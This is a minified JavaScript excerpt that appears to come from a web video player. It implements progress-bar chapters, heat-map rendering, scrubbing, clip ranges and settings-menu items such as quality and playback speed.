kC3=function(x){var T=T===void 0?NaN:T;var t=new cu3(x.api);x.K.push(t);g.y(x,t);t.yU(x.jY);T>=0&&(t.element.style.width=T+"px")};
FtD=function(x){for(;x.N.length;)x.N.pop().dispose()};
v0C=function(x){var T,t,u,H,I;return(I=g.N((H=g.N((T=x.getWatchNextResponse())==null?void 0:(t=T.playerOverlays)==null?void 0:(u=t.playerOverlayRenderer)==null?void 0:u.decoratedPlayerBarRenderer,UP))==null?void 0:H.playerBar,h3J))==null?void 0:I.chapters};
Vui=function(x){for(var T=x.C,t=[],u=0;u<T.length;u++)if(!isNaN(T[u].startTime)){var H=T[u].startTime;H=new g.te(H,u===T.length-1?Infinity:T[u+1].startTime,{namespace:"chapterCueRange",priority:9,id:"c_"+H});t.push(H)}x.api.Xa("chapterCueRange");x.api.oi(t)};
DPC=function(x,T){var t,u=(t=x.Lz[T])==null?void 0:t.chapters;u&&(GCq(x,u),x.api.getVideoData().WD=x.C,Vui(x));var H;if((t=(H=x.Lz[T])==null?void 0:H.markers)&&T!=="HEATSEEKER"){FtD(x);H=g.S(t);for(t=H.next();!t.done;t=H.next())if(u=t.value,t=new ruf,u=g.N(u,g.LtH)){var I=void 0;t.title=((I=u.title)==null?void 0:I.simpleText)||"";I=void 0;t.timeRangeStartMillis=(I=u.timeRangeStartMillis)!=null?I:NaN;var E=I=void 0;t.onActiveCommand=(E=(I=u)==null?void 0:I.onActiveCommand)!=null?E:void 0;n03(x,t)}aB3(x,
x.N);H=x.N;t=x.qz;u=[];for(I=0;I<H.length;I++)!isNaN(H[I].timeRangeStartMillis)&&H[I].onActiveCommand&&(E=M43(H[I].timeRangeStartMillis,I===H.length-1?Infinity:H[I+1].timeRangeStartMillis),u.push(E),t[E.id]=H[I].onActiveCommand);x.api.oi(u)}var Z;if(T=g.N((Z=x.Lz[T])==null?void 0:Z.heatmap,g0D)){Z=T.heatMarkers||[];var e;H=(e=T.minHeightDp)!=null?e:0;var l;e=(l=T.maxHeightDp)!=null?l:60;l=x.C.length;t=null;for(u=0;u<l;u++){E=x.C[u].startTime;var m=u===l-1?Infinity:x.C[u+1].startTime;u===x.K.length&&
kC3(x);I=[];t&&I.push(t);for(var d=g.S(Z),M=d.next();!M.done;M=d.next()){M=M.value;var A=void 0,R=void 0,Y=(R=(A=g.N(M,BMX))==null?void 0:A.timeRangeStartMillis)!=null?R:-1;Y>=E&&Y<=m&&I.push(M)}e>0&&(x.jY.style.height=e+"px");E=x.K[u];m=I;M=H;R=e;Y=u===0;Y=Y===void 0?!1:Y;Y_5(E,R);d=m;A=E.Z;Y=Y===void 0?!1:Y;var b=1E3/d.length,z=[];z.push({x:0,y:100});for(var F=0;F<d.length;F++){var V=void 0,B=((V=g.N(d[F],BMX))==null?void 0:V.heatMarkerIntensityScoreNormalized)||0;V=(F+.5)*b;B=100-g.iu(B*100,M/
A*100,R/A*100);F!==0||Y||z.push({x:0,y:B});z.push({x:V,y:B});F===d.length-1&&z.push({x:1E3,y:B})}z.push({x:1E3,y:100});d=z;m=m.length===0?"":XzD(d);E.api.B("delhi_modern_web_player")?E.j.setAttribute("d",m):E.D.setAttribute("d",m);E.eD=m!=="";g.Ic(E.api.getRootNode(),"ytp-heat-map",E.eD);g.Ic(E.api.getRootNode(),"ytp-heat-map-played_bar",E.api.B("web_player_heat_map_played_bar")&&m!=="");E.api.B("delhi_modern_web_player")&&(E.j.style.display="block",E.K.style.display="none",E.C.style.display="none");
I.length>0&&(t=I[I.length-1])}g.fN(x);Z=[];T=g.S(T.heatMarkersDecorations||[]);for(H=T.next();!H.done;H=T.next())if(H=g.N(H.value,Wt5))e=H.label,u=t=l=void 0,Z.push({visibleTimeRangeStartMillis:(l=H.visibleTimeRangeStartMillis)!=null?l:-1,visibleTimeRangeEndMillis:(t=H.visibleTimeRangeEndMillis)!=null?t:-1,decorationTimeMillis:(u=H.decorationTimeMillis)!=null?u:NaN,label:e?g.eb(e):""});x.heatMarkersDecorations=Z}};
n03=function(x,T){x.N.push(T);g.y(x,T);T.yU(x.WU,x.WU.children.length)};
aB3=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=t.value;var u=wG(x,t.timeRangeStartMillis/(x.j.C*1E3),KN(x));g.Zt(t.element,"transform","translateX("+u+"px) scaleX(0.6)")}};
GCq=function(x,T){var t=0,u=!1;T=g.S(T);for(var H=T.next();!H.done;H=T.next()){H=H.value;if(g.N(H,yuf)){H=g.N(H,yuf);var I={startTime:NaN,title:null,onActiveCommand:void 0},E=H.title;I.title=E?g.eb(E):"";E=H.timeRangeStartMillis;E!=null&&(I.startTime=E);I.onActiveCommand=H.onActiveCommand;H=I;t===0&&H.startTime!==0&&(x.C[t].startTime=0,x.C[t].title="",x.C[t].onActiveCommand=H.onActiveCommand,t++,u=!0);x.C.length<=t&&(I=new CN,x.C.push(I),g.y(x,I),I.yU(x.mu,x.mu.children.length));x.C[t].startTime=
H.startTime;x.C[t].title=H.title?H.title:"";x.C[t].onActiveCommand=H.onActiveCommand;x.C[t].index=u?t-1:t}t++}for(;t<x.C.length;)x.C.pop().dispose();g.fN(x);XQ(x)};
g.fN=function(x){x.Hv=x.C.length-1;x.Cz=0;NMm(x,!0)&&NMm(x,!1);for(var T=0,t=0;t<x.C.length;t++)if(x.C[t].width===0){if(t===x.C.length-1)for(var u=x.C.length-1;u>=0;u--)if(x.C[u].width>0){UPX(x.C[u],0);var H=Math.floor(x.C[u].width);x.C[u].width=H;Q8(x.C[u],H+"px");break}x.C[t].width=0;Q8(x.C[t],"0")}else t===x.C.length-1?(u=Math.floor(x.C[t].width+T),x.C[t].width=u,Q8(x.C[t],u+"px")):(T=x.C[t].width+T,u=Math.round(T),T-=u,x.C[t].width=u,Q8(x.C[t],u+"px"));t=0;if(x.K.length===x.C.length)for(T=0;T<
x.K.length;T++)u=x.C[T].width,x.K[T].element.style.width=u+"px",x.K[T].element.style.left=t+"px",t+=u+xp(x);x.api.B("delhi_modern_web_player")&&(x.C.length===1?x.C[0].Z.classList.add("ytp-progress-bar-start","ytp-progress-bar-end"):(x.C[0].Z.classList.remove("ytp-progress-bar-end"),x.C[0].Z.classList.add("ytp-progress-bar-start"),x.C[x.C.length-1].Z.classList.add("ytp-progress-bar-end")))};
NMm=function(x,T){var t=0,u=!1,H=x.C.length,I=x.j.C*1E3;I===0&&(I=x.api.getProgressState().seekableEnd*1E3);if(I>0&&x.D>0){for(var E=x.D-xp(x)*x.Hv,Z=x.Cz===0?3:E*x.Cz,e=g.S(x.C),l=e.next();!l.done;l=e.next())l.value.width=0;for(;t<H;){e=I-x.C[t].startTime;t<H-1&&(e=x.C[t+1].startTime-x.C[t].startTime,UPX(x.C[t],xp(x)));g.Ic(x.C[t].C,"ytp-exp-chapter-hover-container",x.C.length>1);l=(I===0?0:e/I*E)+x.C[t].width;if(l>Z)x.C[t].width=l;else{x.C[t].width=0;var m=x,d=t,M=m.C[d-1];M!==void 0&&M.width>0?
M.width+=l:d<m.C.length-1&&(m.C[d+1].width+=l);UPX(m.C[d],0);T&&(x.Hv--,e/I>x.Cz&&(x.Cz=e/I),u=!0)}t++}}return u};
XQ=function(x){if(x.D){var T=x.api.getProgressState(),t=x.api.getVideoData();if(!(t&&t.enableServerStitchedDai&&t.enablePreroll)||isFinite(T.current)){var u;if(((u=x.api.getVideoData())==null?0:xh(u))&&T.airingStart&&T.airingEnd)var H=Tv(x,T.airingStart,T.airingEnd);else if(x.api.getPresentingPlayerType()===2&&x.api.Y().B("show_preskip_progress_bar_for_skippable_ads")){var I,E,Z;H=(t=(H=x.api.getVideoData())==null?void 0:(I=H.getPlayerResponse())==null?void 0:(E=I.playerConfig)==null?void 0:(Z=E.webPlayerConfig)==
null?void 0:Z.skippableAdProgressBarDuration)?Tv(x,T.seekableStart,t/1E3):Tv(x,T.seekableStart,T.seekableEnd)}else H=Tv(x,T.seekableStart,T.seekableEnd);I=vu(H,T.loaded,0);T=vu(H,T.current,0);E=x.j.Z!==H.Z||x.j.C!==H.C;x.j=H;oo(x,T,I);E&&Ju3(x);ClC(x)}}};
Tv=function(x,T,t){return QWv(x)?new h9(Math.max(T,x.TI.startTimeMs/1E3),Math.min(t,x.TI.endTimeMs/1E3)):new h9(T,t)};
pN4=function(x,T){var t;if(((t=x.TI)==null?void 0:t.type)==="repeatChapter"||(T==null?void 0:T.type)==="repeatChapter")T&&(T=x.C[AD(x.C,T.startTimeMs)],g.Ic(T.C,"ytp-repeating-chapter",!1)),x.TI&&(T=x.C[AD(x.C,x.TI.startTimeMs)],g.Ic(T.C,"ytp-repeating-chapter",!0)),x.C.forEach(function(u){g.Ic(u.C,"ytp-exp-chapter-hover-container",!x.TI)})};
sQ=function(x,T){var t=x.j;t=t.Z+T.Z*t.getLength();if(x.C.length>1){t=tN(x,T.j,!0);for(var u=0,H=0;H<t;H++)x.C[H].width>0&&(u+=x.C[H].width,u+=xp(x));t=(x.C[t].startTime+(T.j-u)/x.C[t].width*((t===x.C.length-1?x.j.C*1E3:x.C[t+1].startTime)-x.C[t].startTime))/1E3||0}return t};
ud=function(x,T,t,u,H){T=T<0?0:Math.floor(Math.min(T,x.api.getDuration())*1E3);t=t<0?0:Math.floor(Math.min(t,x.api.getDuration())*1E3);x=x.progressBar.visualElement;u={seekData:{startMediaTimeMs:T,endMediaTimeMs:t,seekSource:u}};(T=g.Yx())&&g.Kr(wp)(void 0,T,x,H,u,void 0)};
Opf=function(x,T,t){if(t>=x.C.length)return!1;var u=x.D-xp(x)*x.Hv;return Math.abs(T-x.C[t].startTime/1E3)/x.j.C*u<4};
Ju3=function(x){x.hR.style.removeProperty("height");for(var T=g.S(Object.keys(x.QU)),t=T.next();!t.done;t=T.next())fBm(x,t.value);$p(x);oo(x,x.S,x.Ee)};
KN=function(x){var T=x.SY.x;T=g.iu(T,0,x.D);x.pF.update(T,x.D);return x.pF};
id=function(x){return(x.ZZ?135:90)-Hn(x)};
Hn=function(x){var T=48,t=x.api.Y();x.ZZ?T=54:g.zw(t)&&!t.Z?T=40:x.api.B("delhi_modern_web_player")&&(T=68);return T};
oo=function(x,T,t){x.S=T;x.Ee=t;var u=KN(x),H=x.j.C;var I=x.j;I=I.Z+x.S*I.getLength();var E=g.MA("$PLAY_PROGRESS of $DURATION",{PLAY_PROGRESS:g.S1(I,!0),DURATION:g.S1(H,!0)}),Z=AD(x.C,I*1E3);Z=x.C[Z].title;x.update({ariamin:Math.floor(x.j.Z),ariamax:Math.floor(H),arianow:Math.floor(I),arianowtext:Z?Z+" "+E:E});H=x.clipStart;I=x.clipEnd;x.TI&&x.api.getPresentingPlayerType()!==2&&(H=x.TI.startTimeMs/1E3,I=x.TI.endTimeMs/1E3);H=vu(x.j,H,0);Z=vu(x.j,I,1);E=x.api.getVideoData();I=g.iu(T,H,Z);t=(E==null?
0:g.Km(E))?1:g.iu(t,H,Z);T=wG(x,T,u);g.Zt(x.zc,"transform","translateX("+T+"px)");x.api.B("delhi_modern_web_player")&&wNq(x,T);Io(x,u,H,I,"PLAY_PROGRESS");(E==null?0:xh(E))?(T=x.api.getProgressState().seekableEnd)&&Io(x,u,I,vu(x.j,T),"LIVE_BUFFER"):Io(x,u,H,t,"LOAD_PROGRESS");if(x.api.B("web_player_heat_map_played_bar")){var e;(e=x.K[0])!=null&&e.N.setAttribute("width",(I*100).toFixed(2)+"%")}};
wNq=function(x,T){if(x.api.getPresentingPlayerType()!==1)x.mu.style.removeProperty("clip-path");else{T||(T=wG(x,x.S,KN(x)));var t=x.VI?36:28,u=T-t/2;T+=t/2;x.mu.style.clipPath='path("M 0 0 L 0 8 L '+(u+" 8 C "+(u+6+" 8 "+(u+6)+" 0 "+u+" 0 L 0 0 M ")+(T+" 0 L ")+(x.D+" 0 L ")+(x.D+" 8 L ")+(T+" 8 C ")+(T-6+" 8 "+(T-6)+" 0 "+T+' 0")'))}};
Io=function(x,T,t,u,H){var I=x.C.length,E=T.C-x.Hv*xp(x),Z=t*E;t=tN(x,Z);var e=u*E;E=tN(x,e);H==="HOVER_PROGRESS"&&(E=tN(x,T.C*u,!0),e=T.C*u-Kt3(x,T.C*u)*xp(x));u=Math.max(Z-XNf(x,t),0);for(Z=t;Z<I;Z++)x.C[Z].yA(H).style.left=t===Z?u+"px":"0";T=wG(x,x.S,T);for(I=t;I<E;I++){Z=x.C[I].yA(H);var l=x.C[I].width,m=I===t?l-u:l;EQ(x,Z,m,l);xe5(x,Z,m,l,I,T,H)}I=x.C[E].width;e=g.iu(e-XNf(x,E),0,I);t===E&&(e-=u);u=x.C[E].yA(H);EQ(x,u,e,I);xe5(x,u,e,I,E,T,H);e=x.C.length;for(E+=1;E<e;E++)Ttf(x,E,H);for(E=0;E<
t;E++)Ttf(x,E,H)};
XNf=function(x,T){if(T>=x.C.length)return x.D;for(var t=0,u=0;u<T;)t+=x.C[u].width,u++;return t};
Ttf=function(x,T,t){t=x.C[T].yA(t);EQ(x,t,0,x.C[T].width)};
xe5=function(x,T,t,u,H,I,E){E==="PLAY_PROGRESS"&&(t=!u||x.api.Y().Z?1:t/u,x.L2.clientWidth>0||x.kP.clientWidth>0?(I=T.clientWidth/t,x=-1*x.L2.clientWidth/t):(I/=t,x=-1*x.C[H].element.offsetLeft/t),g.Zt(T,"background-size",I+"px"),g.Zt(T,"background-position-x",x+"px"))};
EQ=function(x,T,t,u,H){H||x.api.Y().Z?T.style.width=t+"px":g.Zt(T,"transform","scalex("+(u?t/u:0)+")")};
tN=function(x,T,t){var u=0;(t===void 0?0:t)&&(T-=Kt3(x,T)*xp(x));t=g.S(x.C);for(var H=t.next();!H.done;H=t.next()){H=H.value;if(T>H.width)T-=H.width;else break;u++}return u===x.C.length?u-1:u};
wG=function(x,T,t){var u=T*x.j.C*1E3;for(var H=-1,I=g.S(x.C),E=I.next();!E.done;E=I.next())E=E.value,u>E.startTime&&E.width>0&&H++;u=H<0?0:H;H=t.C-xp(x)*x.Hv;return T*H+xp(x)*u+t.K};
Kt3=function(x,T){for(var t=x.C.length,u=0,H=g.S(x.C),I=H.next();!I.done;I=H.next())if(I=I.value,I.width!==0)if(T>I.width)T-=I.width,T-=xp(x),u++;else break;return u===t?t-1:u};
g.okq=function(x,T,t,u){var H=x.D!==t,I=x.ZZ!==u;x.Xt=T;x.D=t;x.ZZ=u;pN(x)&&(T=x.Z)!=null&&(T.scale=u?1.5:1);Ju3(x);x.C.length===1&&(x.C[0].width=t||0);H&&g.fN(x);x.Z&&I&&pN(x)&&(x.Z.isEnabled&&(t=x.ZZ?135:90,u=t-Hn(x),x.tQ.style.height=t+"px",g.Zt(x.jY,"transform","translateY("+-u+"px)"),g.Zt(x.progressBar,"transform","translateY("+-u+"px)")),R3i(x.Z))};
$p=function(x){var T=!!x.TI&&x.api.getPresentingPlayerType()!==2,t=x.clipStart,u=x.clipEnd,H=!0,I=!0;T&&x.TI?(t=x.TI.startTimeMs/1E3,u=x.TI.endTimeMs/1E3):(H=t>x.j.Z,I=x.j.C>0&&u<x.j.C);var E,Z;if(((E=x.TI)==null?0:E.postId)||((Z=x.TI)==null?void 0:Z.type)==="repeatChapter")I=H=!1;g.Ic(x.element,"ytp-loop-range-enabled",T);g.Ic(x.element,"ytp-clip-start-enabled",H);g.Ic(x.element,"ytp-clip-end-enabled",I);T=H?vu(x.j,t,0):0;u=I?vu(x.j,u,1):1;x.tM.style.left=Math.round(T*1E3)/10+"%";x.hM.style.left=
Math.round(u*1E3)/10+"%";x.L2.style.width=Math.round(T*1E3)/10+"%";x.kP.style.left=Math.round(u*1E3)/10+"%";x.kP.style.width=Math.round((1-u)*1E3)/10+"%"};
ClC=function(x){var T;if((T=x.api.getVideoData())==null||!xh(T)){T=KN(x);Io(x,T,x.S,Math.max(T.Z,x.S),"HOVER_PROGRESS");for(var t=tN(x,T.C*x.S,!0),u=tN(x,T.j,!0),H=t;H<=u;H++)g.Ic(x.C[H].j,"ytp-hover-progress-light",T.Z>x.S);g.Ic(x.hR,"ytp-scrubber-button-hover",t===u&&x.C.length>1);if(x.api.B("web_player_heat_map_played_bar")){var I;(I=x.K[0])!=null&&I.C.setAttribute("width",(T.Z*100).toFixed(2)+"%")}}};
fBm=function(x,T){var t=x.QU[T];T=x.Ym[T];var u=KN(x),H=vu(x.j,t.start/1E3,0),I=$SV(t,x.ZZ)/u.width;var E=vu(x.j,t.end/1E3,1);I!==Number.POSITIVE_INFINITY&&(H=g.iu(H,0,E-I));E=Math.min(E,H+I);t.color&&(T.style.background=t.color);t=H;T.style.left=Math.max(t*u.C+u.K,0)+"px";EQ(x,T,g.iu((E-t)*u.C+u.K,0,u.width),u.width,!0)};
tB5=function(x,T){var t=T.getId();x.QU[t]===T&&(g.sm(x.Ym[t]),delete x.QU[t],delete x.Ym[t])};
pN=function(x){var T=g.f1(x.api.Y())&&(x.api.B("web_shorts_pip")||x.api.B("web_watch_pip")),t;return!((t=x.api.getVideoData())==null?0:t.isLivePlayback)&&!x.api.isMinimized()&&!x.api.isInline()&&(!x.api.cE()||!T)};
q7=function(x){x.Z&&(x.Z.disable(),x.AQ=0,x.jY.style.removeProperty("transform"),x.progressBar.style.removeProperty("transform"),x.tQ.style.removeProperty("height"),x.element.parentElement&&x.element.parentElement.style.removeProperty("height"))};
shX=function(x,T){var t=T/id(x)*Hn(x);g.Zt(x.progressBar,"transform","translateY("+-T+"px)");g.Zt(x.jY,"transform","translateY("+-T+"px)");g.Zt(x.tQ,"transform","translateY("+t+"px)");x.tQ.style.height=T+t+"px";x.element.parentElement&&(x.element.parentElement.style.height=Hn(x)-t+"px")};
udX=function(x,T){T?x.J||(x.element.removeAttribute("aria-disabled"),x.J=new g.xM(x.progressBar,!0),x.J.subscribe("hovermove",x.Kac,x),x.J.subscribe("hoverend",x.jWu,x),x.J.subscribe("dragstart",x.Z4G,x),x.J.subscribe("dragmove",x.o6m,x),x.J.subscribe("dragend",x.dIG,x),x.api&&x.api.B("delhi_modern_web_player")&&(x.C4=new g.xM(x.progressBar,!0),x.C4.subscribe("hoverstart",function(){x.VI=!0;wNq(x)},x),x.C4.subscribe("hoverend",function(){x.VI=!1;
wNq(x)},x)),x.aH=x.listen("keydown",x.f6)):x.J&&(x.element.setAttribute("aria-disabled","true"),x.f2(x.aH),x.J.cancel(),x.J.dispose(),x.J=null)};
xp=function(x){return x.api.B("delhi_modern_web_player")?4:x.ZZ?3:2};
QWv=function(x){var T;return!((T=x.TI)==null||!T.postId)&&x.api.getPresentingPlayerType()!==2};
Z8=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-remote-button","ytp-button"],X:{title:"Play on TV","aria-haspopup":"true","data-priority":"9"},z9:"{{icon}}"});this.U=x;this.If=T;this.C=null;this.V(x,"onMdxReceiversChange",this.Nj);this.V(x,"presentingplayerstatechange",this.Nj);this.V(x,"appresize",this.Nj);x.createClientVe(this.element,this,139118);this.Nj();this.listen("click",this.Z,this);cF(x,this.element,this)};
j6=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-button","ytp-settings-button"],X:{"aria-expanded":"false","aria-haspopup":"true","aria-controls":Ha(),title:"Settings","data-tooltip-target-id":"ytp-settings-button"},W:[g.b9()]});this.U=x;this.If=T;this.Z=!0;this.listen("click",this.j);this.V(x,"onPlaybackQualityChange",this.updateBadge);this.V(x,"videodatachange",this.updateBadge);this.V(x,"webglsettingschanged",this.updateBadge);this.V(x,"appresize",this.C);cF(x,this.element,this);this.U.createClientVe(this.element,
this,28663);this.updateBadge();this.C(x.bG().getPlayerSize())};
$em=function(x,T){x.Z=!!T;x.C(x.U.bG().getPlayerSize())};
e6=function(x,T){ol.call(this,"Annotations",g.iL.Xy);this.U=x;this.If=T;this.C=!1;x.B("web_settings_menu_icons")&&this.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M17.5,7c1.93,0,3.5,1.57,3.5,3.5c0,1-0.53,4.5-0.85,6.5h-2.02l0.24-1.89l0.14-1.09l-1.1-0.03C15.5,13.94,14,12.4,14,10.5 C14,8.57,15.57,7,17.5,7             M6.5,7C8.43,7,10,8.57,10,10.5c0,1-0.53,4.5-0.85,6.5H7.13l0.24-1.89l0.14-1.09l-1.1-0.03 C4.5,13.94,3,12.4,3,10.5C3,8.57,4.57,7,6.5,7             M17.5,6C15.01,6,13,8.01,13,10.5c0,2.44,1.95,4.42,4.38,4.49L17,18h4c0,0,1-6,1-7.5 C22,8.01,19.99,6,17.5,6L17.5,6z             M6.5,6C4.01,6,2,8.01,2,10.5c0,2.44,1.95,4.42,4.38,4.49L6,18h4c0,0,1-6,1-7.5 C11,8.01,8.99,6,6.5,6L6.5,6z",
fill:"white"}}]});this.V(x,"videodatachange",this.Nj);this.V(x,"onApiChange",this.Nj);this.subscribe("select",this.onSelect,this);this.Nj()};
ld=function(x,T){g.wk.call(this,"Audio track",g.iL.AUDIO,x,T);this.U=x;this.tracks={};g.uY(this.element,"ytp-audio-menu-item");this.countLabel=new g.Q({L:"div",W:[{L:"span",z9:"Audio track"},{L:"span",G:"ytp-menuitem-label-count",z9:"{{content}}"}]});x.B("web_settings_menu_icons")&&this.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M11.72,11.93C13.58,11.59,15,9.96,15,8c0-2.21-1.79-4-4-4C8.79,4,7,5.79,7,8c0,1.96,1.42,3.59,3.28,3.93 C4.77,12.21,2,15.76,2,20h18C20,15.76,17.23,12.21,11.72,11.93z            M8,8c0-1.65,1.35-3,3-3s3,1.35,3,3s-1.35,3-3,3S8,9.65,8,8z            M11,12.9c5.33,0,7.56,2.99,7.94,6.1H3.06C3.44,15.89,5.67,12.9,11,12.9z            M16.68,11.44l-0.48-0.88C17.31,9.95,18,8.77,18,7.5 c0-1.27-0.69-2.45-1.81-3.06l0.49-0.88C18.11,4.36,19,5.87,19,7.5C19,9.14,18.11,10.64,16.68,11.44z            M18.75,13.13l-0.5-0.87 C19.95,11.28,21,9.46,21,7.5s-1.05-3.78-2.75-4.76l0.5-0.87C20.75,3.03,22,5.19,22,7.5S20.76,11.97,18.75,13.13z",
fill:"white"}}]});g.y(this,this.countLabel);g.Nw(this,this.countLabel);this.V(x,"videodatachange",this.Nj);this.V(x,"onPlaybackAudioChange",this.Nj);this.Nj()};
ma=function(x,T){ol.call(this,"Autoplay",g.iL.kS);this.U=x;this.If=T;this.C=!1;this.j=[];this.V(x,"presentingplayerstatechange",this.Z);this.subscribe("select",this.onSelect,this);x.createClientVe(this.element,this,113682);this.Z()};
Hui=function(x,T){g.JW.call(this,g.CW({"aria-haspopup":"false"}),0,"More options");this.U=x;this.If=T;this.V(this.element,"click",this.onClick);this.If.NU(this)};
iui=function(x,T){var t;g.f1(x.Y())&&(t={L:"div",G:"ytp-panel-footer-content",W:[{L:"span",z9:"Adjust download quality from your "},{L:"a",G:"ytp-panel-footer-content-link",z9:"Settings",X:{href:"/account_downloads"}}]});g.wk.call(this,"Quality",g.iL.Wn,x,T,void 0,void 0,t);this.U=x;this.uG={};this.S={};this.K={};this.Hv=new Set;this.C=this.D=!1;this.N="unknown";this.ZZ="";this.jY=new g.Qq;g.y(this,this.jY);this.D=this.U.B("web_player_use_new_api_for_quality_pullback");this.C=this.U.B("web_player_enable_premium_hbr_playback_cap");
x.B("web_settings_menu_icons")&&this.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M15,17h6v1h-6V17z M11,17H3v1h8v2h1v-2v-1v-2h-1V17z M14,8h1V6V5V3h-1v2H3v1h11V8z            M18,5v1h3V5H18z M6,14h1v-2v-1V9H6v2H3v1 h3V14z M10,12h11v-1H10V12z",fill:"white"}}]});g.uY(this.Z.element,"ytp-quality-menu");this.V(x,"videodatachange",this.Aw);this.V(x,"videoplayerreset",this.Aw);this.V(x,"onPlaybackQualityChange",this.iX);this.Aw();x.createClientVe(this.element,this,137721)};
Ek4=function(x,T,t){var u=x.uG[T],H=g.BU[T];return IqJ(x,u?u.qualityLabel:H?H+"p":"Auto",T,t)};
qam=function(x,T,t,u,H){var I=(T=x.C?x.K[T]:x.S[T])&&T.quality,E=T&&T.qualityLabel;E=E?E:"Auto";u&&(E="("+E);x=IqJ(x,E,I||"",H);u&&x.W.push(")");(u=(u=T&&T.paygatedQualityDetails)&&u.paygatedIndicatorText)&&t&&x.W.push({L:"div",G:"ytp-premium-label",z9:u});return x};
IqJ=function(x,T,t,u){T={L:"span",DZ:u,W:[T]};var H;u="ytp-swatch-color";if(x.D||x.C)u="ytp-swatch-color-white";t==="highres"?H="8K":t==="hd2880"?H="5K":t==="hd2160"?H="4K":t.indexOf("hd")===0&&t!=="hd720"&&(H="HD");H&&(T.W.push(" "),T.W.push({L:"sup",G:u,z9:H}));return T};
dq=function(x,T,t,u,H){var I={L:"div",G:"ytp-input-slider-section",W:[{L:"input",G:"ytp-input-slider",X:{role:"slider",tabindex:"0",type:"range",min:"{{minvalue}}",max:"{{maxvalue}}",step:"{{stepvalue}}",value:"{{slidervalue}}"}}]};H&&I.W.unshift(H);g.Q.call(this,I);this.j=x;this.K=T;this.D=t;this.initialValue=u;this.header=H;this.C=this.Um("ytp-input-slider");this.Z=u?u:x;this.init();this.V(this.C,"input",this.N)};
jhv=function(x,T){x.Z=T;x.updateValue("slidervalue",x.Z);x.C.valueAsNumber=x.Z;Zu4(x,T)};
Zu4=function(x,T){x.C.style.setProperty("--yt-slider-shape-gradient-percent",(T-x.j)/(x.K-x.j)*100+"%")};
M7=function(x){dq.call(this,x.getAvailablePlaybackRates()[0],x.getAvailablePlaybackRates()[x.getAvailablePlaybackRates().length-1],.05,x.getPlaybackRate(),{L:"div",G:"ytp-speedslider-indicator-container",W:[{L:"div",G:"ytp-speedslider-badge"},{L:"p",G:"ytp-speedslider-text"}]});this.U=x;this.S=CXD(this.jY,this);g.uY(this.C,"ytp-speedslider");this.J=this.Um("ytp-speedslider-text");this.Hv=this.Um("ytp-speedslider-badge");eZ4(this);this.V(this.C,"change",this.uG);this.V(this.C,"keydown",this.ZZ)};
eZ4=function(x){x.J.textContent=x.Z+"x";x.Hv.classList.toggle("ytp-speedslider-premium-badge",x.Z>2&&x.U.B("enable_web_premium_varispeed"))};
AN=function(x,T,t,u,H,I,E){g.Q.call(this,{L:"div",G:"ytp-slider-section",X:{role:"slider","aria-valuemin":"{{minvalue}}","aria-valuemax":"{{maxvalue}}","aria-valuenow":"{{valuenow}}","aria-valuetext":"{{valuetext}}",tabindex:"0"},W:[{L:"div",G:"ytp-slider",W:[{L:"div",G:"ytp-slider-handle"}]}]});this.J=x;this.S=T;this.Z=t;this.j=u;this.ZZ=H;this.Om=I;this.range=this.j-this.Z;this.hQ=this.Um("ytp-slider-section");this.K=this.Um("ytp-slider");this.jY=this.Um("ytp-slider-handle");this.N=new g.xM(this.K,
!0);this.C=E?E:t;g.y(this,this.N);this.N.subscribe("dragmove",this.gS,this);this.V(this.element,"keydown",this.Bn);this.V(this.element,"wheel",this.n6);this.init()};
Ro=function(x){AN.call(this,.05,.05,x.getAvailablePlaybackRates()[0],x.getAvailablePlaybackRates()[x.getAvailablePlaybackRates().length-1],150,20,x.getPlaybackRate());this.U=x;this.D=g.Xn("P");this.Hv=CXD(this.uG,this);g.uY(this.K,"ytp-speedslider");g.uY(this.D,"ytp-speedslider-text");x=this.D;var T=this.K;T.parentNode&&T.parentNode.insertBefore(x,T.nextSibling);lq4(this);this.V(this.U,"onPlaybackRateChange",this.updateValues)};
lq4=function(x){x.D.textContent=mem(x,x.C)+"x"};
mem=function(x,T){x=Number(g.iu(T,x.Z,x.j).toFixed(2));T=Math.floor((x+.001)*100%5+2E-15);var t=x;T!==0&&(t=x-T*.01);return Number(t.toFixed(2))};
de3=function(x){g.qS.call(this,{L:"div",G:"ytp-speedslider-component"});x.B("web_settings_use_input_slider")?this.C=new M7(x):this.C=new Ro(x);g.y(this,this.C);this.element.appendChild(this.C.element)};
MBH=function(x){var T=new de3(x);Bk.call(this,x,T,"Custom");g.y(this,T)};
AVi=function(x,T){var t=new MBH(x);g.wk.call(this,"Playback speed",g.iL.SM,x,T,Pn(x)?void 0:"Custom",Pn(x)?void 0:function(){g.N3(T,t)});
var u=this;this.D=!1;g.y(this,t);this.N=new M7(x);g.y(this,this.N);x.B("web_settings_menu_icons")&&this.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M10,8v8l6-4L10,8L10,8z M6.3,5L5.7,4.2C7.2,3,9,2.2,11,2l0.1,1C9.3,3.2,7.7,3.9,6.3,5z            M5,6.3L4.2,5.7C3,7.2,2.2,9,2,11 l1,.1C3.2,9.3,3.9,7.7,5,6.3z            M5,17.7c-1.1-1.4-1.8-3.1-2-4.8L2,13c0.2,2,1,3.8,2.2,5.4L5,17.7z            M11.1,21c-1.8-0.2-3.4-0.9-4.8-2 l-0.6,.8C7.2,21,9,21.8,11,22L11.1,21z            M22,12c0-5.2-3.9-9.4-9-10l-0.1,1c4.6,.5,8.1,4.3,8.1,9s-3.5,8.5-8.1,9l0.1,1 C18.2,21.5,22,17.2,22,12z",
fill:"white"}}]});this.U=x;this.D=!1;this.ZZ=null;Pn(x)?(this.C=g.MA("Custom ($CURRENT_CUSTOM_SPEED)",{CURRENT_CUSTOM_SPEED:this.U.getPlaybackRate().toString()}),this.K=this.U.getPlaybackRate()):this.K=this.C=null;this.S=this.U.getAvailablePlaybackRates();this.V(x,"presentingplayerstatechange",this.Nj);var H;((H=this.U.getVideoData())==null?0:H.Ty())&&this.V(x,"serverstitchedvideochange",this.Nj);this.V(this.N.C,"change",function(){u.D=!0;u.Nj()});
this.Nj()};
